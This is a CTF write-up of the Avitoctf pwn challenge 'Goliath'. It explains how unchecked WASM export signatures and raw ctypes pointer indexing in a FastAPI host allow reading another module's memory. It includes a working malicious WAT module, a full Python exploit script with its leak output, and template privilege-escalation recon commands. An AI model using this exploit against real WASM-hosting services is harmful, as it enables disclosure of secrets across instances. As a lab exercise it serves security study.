Goliath
Goliath
Platform: Avitoctf | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-18 | Status: Solved Techniques: cross_instance_memory_disclosure, host_pointer_out_of_bounds_read, unchecked_wasm_export_signature
Summary
Task: A FastAPI host runs trusted and uploaded WASM modules while trusting their exported pointers and signatures. Solution: Return an i64 host-pointer offset from malicious WASM to disclose the trusted module's initialized flag buffer.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
avitoctf| ID:20260718_avitoctf_goliath - Tags: python, wasm, wasmtime, ctypes, out_of_bounds_read
- Indicators: raw memory.data_ptr cached as a ctypes pointer, unvalidated fen_buffer and best_move export signatures, trusted fen_buf initialized with FLAG at offset 0x430, Wasmtime 45 memories separated by 0x104000000
- Source:
20260718_avitoctf_goliath.md
Foothold
Vulnerability / Misconfiguration
- Cross_instance_memory_disclosure
- Host_pointer_out_of_bounds_read
- Unchecked_wasm_export_signature
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- cross_instance_memory_disclosure
- host_pointer_out_of_bounds_read
- unchecked_wasm_export_signature
- Tags: python, wasm, wasmtime, ctypes, out_of_bounds_read
Original Writeup
<details><summary>Click to expand original content</summary>Author: David
Description
Медоеды ворвались в улей за мёдом. Пчёлы переглянулись: «— Выставляйте самого умного». Добудьте секрет умнейшей пчелы напрямую из её памяти.
The service runs a trusted chess engine called Bee and lets us upload an arbitrary import-free WebAssembly module as Badger. The goal is to read Bee's secret directly from its memory.
Analysis
Unsafe host wrapper
At startup, FastAPI creates the trusted Bee player first. An uploaded module is instantiated later as Badger. Player caches a raw ctypes pointer to each module's linear memory and obtains three exports by name, but never validates the function signatures:
self.__memory = self.__exports["memory"].data_ptr(self.__store) self.__fen_buffer = self.__exports["fen_buffer"] self.__best_move = self.__exports["best_move"]
The wrapper then treats both attacker-controlled return values as indexes into that raw host pointer:
fen_buffer = self.__fen_buffer(self.__store)
for i, b in enumerate(data):
self.__memory[fen_buffer + i] = b
ptr = self.__best_move(self.__store)
while b := self.__memory[ptr + len(move)]:
move.append(b)
These are ctypes pointer operations, not WebAssembly loads or stores. Consequently, Wasmtime's linear-memory bounds checks do not protect them. Python keeps indexing host virtual memory until it reaches a NUL byte.
Location of the secret
The trusted wrapper initializes its static 256-byte FEN buffer from the compile-time FLAG macro:
static char fen_buf[256] = FLAG;
In the supplied Bee module, fen_buf is at linear-memory offset 0x430. The provided Makefile uses a local placeholder:
FLAG := \"avito{REDACTED}\"
Cross-instance address calculation
With Wasmtime 45's default allocator on the challenge Linux image, the modules receive deterministic consecutive reservations:
Bee base - Badger base = 0x104000000
This is 4 GiB of wasm32 address space plus a 64 MiB guard. Therefore, from Badger's cached base pointer, Bee's secret is located at:
0x104000000 + 0x430 = 0x104000430
An ordinary wasm32 pointer returned as i32 cannot represent this displacement: it exceeds the 32-bit range. Negative signed-i32 indexing is accepted by ctypes, but it still cannot cover this allocation gap. The crucial second bug is that the host never checks that best_move has the expected () -> i32 signature. We can export it as () -> i64 and return the complete 0x104000430 displacement.
Meanwhile, fen_buffer() returns i32 0, so the host safely writes the supplied black-side FEN into Badger's own committed memory before performing the disclosure.
Solution
Malicious WAT module
This is the exact payload used:
(module
;; Keep the same unbounded wasm32 memory shape as the trusted module. With
;; Wasmtime 45's default Linux allocator the second reservation starts
;; 0x104000000 bytes below the first one (4 GiB + 64 MiB guard).
(memory (export "memory") 1)
;; Player.best_move writes the black FEN here. Offset zero is committed and
;; does not overlap the trusted instance.
(func (export "fen_buffer") (result i32)
i32.const 0)
;; The wrapper does not validate the export signature. Returning i64 avoids
;; the signed-i32 range limit and points at Bee's fen_buf:
;; bad_base + 0x104000000 + 0x430 == bee_base + 0x430
(func (export "best_move") (result i64)
i64.const 0x104000430)
)
It compiles to an 83-byte badger.wasm.
Exploit script
The exploit compiles the WAT, uploads it, and requests a move with Black active so FastAPI selects BADGER_PLAYER:
#!/usr/bin/env python3
import argparse
import json
import urllib.parse
import urllib.request
from pathlib import Path
from wasmtime import wat2wasm
HERE = Path(__file__).resolve().parent
FEN = "8/8/8/8/8/8/8/8 b - - 0 1"
def multipart_wasm(wasm: bytes):
boundary = "----goliathbadger"
body = (
f"--{boundary}\r\n"
'Content-Disposition: form-data; name="file"; filename="badger.wasm"\r\n'
"Content-Type: application/wasm\r\n\r\n"
).encode() + wasm + f"\r\n--{boundary}--\r\n".encode()
return body, f"multipart/form-data; boundary={boundary}"
def main():
parser = argparse.ArgumentParser()
parser.add_argument("url", help="service base URL")
parser.add_argument("--write", metavar="PATH")
args = parser.parse_args()
wasm = wat2wasm((HERE / "badger.wat").read_text())
if args.write:
Path(args.write).write_bytes(wasm)
base = args.url.rstrip("/")
body, content_type = multipart_wasm(wasm)
request = urllib.request.Request(
base + "/api/upload",
data=body,
headers={"Content-Type": content_type},
method="POST",
)
with urllib.request.urlopen(request) as response:
print("upload:", response.read().decode())
query = urllib.parse.urlencode({"fen": FEN})
with urllib.request.urlopen(base + "/api/best-move?" + query) as response:
result = json.load(response)
print("leak:", result["best_move"])
if __name__ == "__main__":
main()
Usage against a local copy:
python3 exploit.py http://127.0.0.1:8000 --write badger.wasm
The locally verified result was:
upload: {"status":"ok","bytes":83}
leak: avito{REDACTED}
An in-process check also measured the exact allocator delta before leaking:
bee_ptr = ctypes.addressof(app.BEE_PLAYER._Player__memory.contents)
badger_ptr = ctypes.addressof(badger._Player__memory.contents)
assert bee_ptr - badger_ptr == 0x104000000
assert badger.best_move(FEN) == "avito{REDACTED}"
Failed Paths
- Reading
/flagthrough WASI or filesystem APIs is impossible because uploaded modules are instantiated withimports=[]and receive no WASI capabilities. - Direct cross-memory indexing with a signed
i32cannot span the0x104000000gap. The uncheckedi64return type is necessary.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR